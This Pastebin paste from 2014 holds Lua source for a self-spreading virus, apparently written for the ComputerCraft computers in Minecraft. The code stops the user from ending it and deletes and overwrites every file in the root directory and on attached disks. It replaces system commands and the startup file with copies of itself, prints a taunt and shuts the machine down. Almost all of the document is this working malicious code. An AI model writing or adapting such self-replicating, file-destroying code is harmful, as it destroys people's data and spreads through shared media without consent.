Derek1017

Untitled

Jan 26th, 2014
104
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 4.05 KB | None | 0 0
  1. local viruscode = "os.pullEvent = os.pullEventRaw \n";
  2. local viruscode1 = "-- LOL N00B!! -- \n"
  3. local viruscode2 = "print(\"PWN3D N00B!\") \n"
  4. local viruscodeSpread1 = "function infect(directory) \n"
  5. local viruscodeSpread2 = " if fs.exists(directory) then \n"
  6. local viruscodeSpread3 = " fs.delete(directory) \n"
  7. local viruscodeSpread4 = " end \n"
  8. local viruscodeSpread5 = " file = io.open(directory, \"w\") \n"
  9. local viruscodeSpread6 = " file:write(viruscode) \n"
  10. local viruscodeSpread7 = " file:write(viruscode1) \n"
  11. local viruscodeSpread8 = " file:write(viruscode2) \n"
  12. local viruscodeSpread9 = " file:write(viruscode3) \n"
  13. local viruscodeSpread10 = " file:write(viruscode4) \n"
  14. local viruscodeSpread11 = " file:close() \n"
  15. local viruscodeSpread12 = "end \n"
  16. local viruscodeSpread13 = "if fs.exists(\"disk/\") then \n"
  17. local viruscodeSpread14 = "infect(\"disk/startup\") \n"
  18. local viruscodeSpread15 = "end \n"
  19. local viruscodeSpread16 = "infect(\"startup\") \n"
  20. local viruscode3 = "sleep(4) \n"
  21. local viruscode4 = "os.shutdown() \n"
  22. if fs.exists("disk/") then
  23. files = fs.list("disk")
  24. for n=1,#files do
  25. if not fs.isDir("disk/"..files[n]) then
  26. file = io.open("disk/"..files[n], "w")
  27. file:write(viruscode)
  28. file:write(viruscode1)
  29. file:write(viruscode2)
  30. file:write(viruscodeSpread1)
  31. file:write(viruscodeSpread2)
  32. file:write(viruscodeSpread3)
  33. file:write(viruscodeSpread4)
  34. file:write(viruscodeSpread5)
  35. file:write(viruscodeSpread6)
  36. file:write(viruscodeSpread7)
  37. file:write(viruscodeSpread8)
  38. file:write(viruscodeSpread9)
  39. file:write(viruscodeSpread10)
  40. file:write(viruscodeSpread11)
  41. file:write(viruscodeSpread12)
  42. file:write(viruscodeSpread13)
  43. file:write(viruscodeSpread14)
  44. file:write(viruscodeSpread15)
  45. file:write(viruscodeSpread16)
  46. file:write(viruscode3)
  47. file:write(viruscode4)
  48. file:close()
  49. end
  50. end
  51. end
  52. files = fs.list("/")
  53. for n=1,#files do
  54. if not fs.isDir("/"..files[n]) then
  55. fs.delete("/" ..files[n])
  56. file = io.open("/"..files[n], "w")
  57. file:write(viruscode)
  58. file:write(viruscode1)
  59. file:write(viruscode2)
  60. file:write(viruscodeSpread1)
  61. file:write(viruscodeSpread2)
  62. file:write(viruscodeSpread3)
  63. file:write(viruscodeSpread4)
  64. file:write(viruscodeSpread5)
  65. file:write(viruscodeSpread6)
  66. file:write(viruscodeSpread7)
  67. file:write(viruscodeSpread8)
  68. file:write(viruscodeSpread9)
  69. file:write(viruscodeSpread10)
  70. file:write(viruscodeSpread11)
  71. file:write(viruscodeSpread12)
  72. file:write(viruscodeSpread13)
  73. file:write(viruscodeSpread14)
  74. file:write(viruscodeSpread15)
  75. file:write(viruscodeSpread16)
  76. file:write(viruscode3)
  77. file:write(viruscode4)
  78. file:close()
  79. end
  80. end
  81. function infect(directory)
  82. if fs.exists(directory) then
  83. fs.delete(directory)
  84. end
  85. file = io.open(directory, "w")
  86. file:write(viruscode)
  87. file:write(viruscode1)
  88. file:write(viruscode2)
  89. file:write(viruscodeSpread1)
  90. file:write(viruscodeSpread2)
  91. file:write(viruscodeSpread3)
  92. file:write(viruscodeSpread4)
  93. file:write(viruscodeSpread5)
  94. file:write(viruscodeSpread6)
  95. file:write(viruscodeSpread7)
  96. file:write(viruscodeSpread8)
  97. file:write(viruscodeSpread9)
  98. file:write(viruscodeSpread10)
  99. file:write(viruscodeSpread11)
  100. file:write(viruscodeSpread12)
  101. file:write(viruscodeSpread13)
  102. file:write(viruscodeSpread14)
  103. file:write(viruscodeSpread15)
  104. file:write(viruscodeSpread16)
  105. file:write(viruscode3)
  106. file:write(viruscode4)
  107. file:close()
  108. end
  109. infect("/edit")
  110. infect("/clear")
  111. infect("/copy")
  112. infect("/reboot")
  113. infect("/shutdown")
  114. infect("/list")
  115. infect("/delete")
  116. infect("/startup")
  117. if fs.exists("disk/") then
  118. infect("disk/startup")
  119. end
Add Comment
Please, Sign In to add comment